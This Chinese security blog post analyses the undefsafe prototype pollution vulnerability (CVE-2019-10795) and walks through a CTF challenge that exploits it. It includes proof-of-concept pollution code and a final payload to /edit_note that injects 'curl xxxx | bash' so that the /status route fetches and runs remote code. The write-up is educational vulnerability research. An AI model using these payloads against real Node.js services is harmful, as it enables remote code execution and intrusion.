sky's blog

CVE-2019-10795 & undefsafe Prototype Pollution Vulnerability

字数统计: 2,574阅读时长: 12 min
2020/06/22 Share

前言

undefsafe是Nodejs的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在的报错问题,其具有巨大的用户量:

但其在低版本存在原型链污染漏洞。
漏洞版本:< 2.0.3

模块使用

我们简单测试一下该模块的使用:

1
2
3
4
5
6
7
8
9
10
11
12
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};

console.log(object.a.b.e)
// skysec

可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时:

1
2
console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

则会得到报错。
在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错( ,那么undefsafe可以帮助我们解决这个问题:

1
2
3
4
5
6
7
8
9
10
11
console.log(a(object,'a.b.e'))
// skysec

console.log(object.a.b.e)
// skysec

console.log(a(object,'a.c.e'))
// undefined

console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回undefined了。
同时在对对象赋值时,如果目标属性存在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};

console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.b.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: '123' } } }

我们可以看到,其可以帮助我们修改对应属性的值。
如果当属性不存在时,我们想对该属性赋值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};

console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.f.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' }, e: '123' } }

访问属性会在上层进行创建并赋值。

漏洞分析

但是该模块在小于2.0.3版本,存在原型链污染漏洞:
我们在2.0.3版本下进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};

var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
// [Function: toString]

但如果在低于2.0.3版本运行,则会得到如下输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};

var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
//evilstring

我们发现当undefsafe第2,3个参数可控时,我们可以污染object的值(即第一个参数)。
那么这种攻击有什么用呢?我们简单看一个例子:

1
2
3
4
5
6
7
8
var a = require("undefsafe");
var test = {}

console.log('this is '+test)
// this is [object Object]
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)
// this is just a evil!

当我们将对象与字符串拼接时,会自动触发toString方法,但由于当前对象test中没有该方法,因此不断向上回溯。当前环境中等同于在test.__proto__中寻找toString方法:

然后将返回:[object Object],并与this is进行拼接。
但是当我们使用undefsafe的时候,可以对原型进行污染,污染前,原型中toString方法为:

污染后:

此时我们进行测试:

我们发现一个空对象和字符串123进行拼接,竟然返回了:

1
just a evil!123

那么这就是因为原型链污染导致,当我们调用b对象和字符串拼接时,触发其toString方法,但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。
例如操作:

1
2
3
4
5
6
var a = require("undefsafe");

var test = {}

var payload = "__proto__.toString";
a(test,payload,"evilstring");

我们跟进undefsafe函数内,第一次赋值在如下时候:

此时我们传入的test,会变成test.__proto__:

而后会进行递归,至第二次:

此时传入的test的就会变为test.__proto__.toString:

然后进行赋值:

从而达到原型链污染的目的。

漏洞修复

该漏洞在2.0.3版本进行修复,我们看到patch内容如下:

在赋值前增加校验:

发现如果操纵原型,则会返还undefined。

实战演练

在2020网鼎杯中有一道题正好考察到了这一点:notes.
源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

我们注意到其使用了undefsafe模块,那么如果我们可以操纵其第2、3个参数,即可进行原型链污染,则可使目标网站存在风险。故此首先查看undefsafe的调用点:

1
2
3
4
5
6
7
8
9
10
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

发现在查看note和编辑note时会调用undefsafe,那我们首先查看get_note方法会被哪个路由调用:

1
2
3
4
5
6
7
8
9
10
11
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

此时发现参数q可控,但对于undefsafe的3个参数,我们并不能完整控制第3个参数。
而对于edit_note方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

我们发现edit_note路由中会调用,同时此时id,author和raw均为我们的可控值,那么我们则可以操纵原型链进行污染:

1
2
3
4
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

那么既然找到了可以进行原型链污染的位置,就要查找何处可以利用污染的值造成攻击,我们依次查看路由,发现/status路由有命令执行的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

我们进行简单测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const undefsafe = require('undefsafe');

var note_list = {}
var id = '__proto__.aaa'
var author = 'skysec hack u!'
undefsafe(note_list, id + '.author', author);

let commands = {
"script-1": "uptime",
"script-2": "free -m"
};

for (let index in commands){
console.log(commands[index])
}

此时输出为:

1
2
3
uptime
free -m
skysec hack u!

那么为什么我们遍历commands的时候,会遍历到原型中我们污染增加的属性呢?

1
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/for...in

在文档中可以看到:

1
for...in 循环只遍历可枚举属性(包括它的原型链上的可枚举属性)。像 Array和 Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性,例如 String 的 indexOf()  方法或 Object的toString()方法。循环将遍历对象本身的所有可枚举属性,以及对象从其构造函数原型中继承的属性(更接近原型链中对象的属性覆盖原型属性)。

因此我们可以利用原型链污染的问题,增加一个我们可控的属性,利用status的命令执行功能令其执行。
那么对于exp的构造就非常简单了,首先构造原型链污染:

1
2
3
POST /edit_note

id=__proto__.aaa & author = curl xxxx | bash & raw = skysec;

再访问/status路由,利用污染后的结果进行命令执行,即可获得shell,进行RCE。

后记

原型链污染的攻击还是非常有意思的,下次可以多分析几个XD.

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 模块使用
  3. 3. 漏洞分析
  4. 4. 漏洞修复
  5. 5. 实战演练
  6. 6. 后记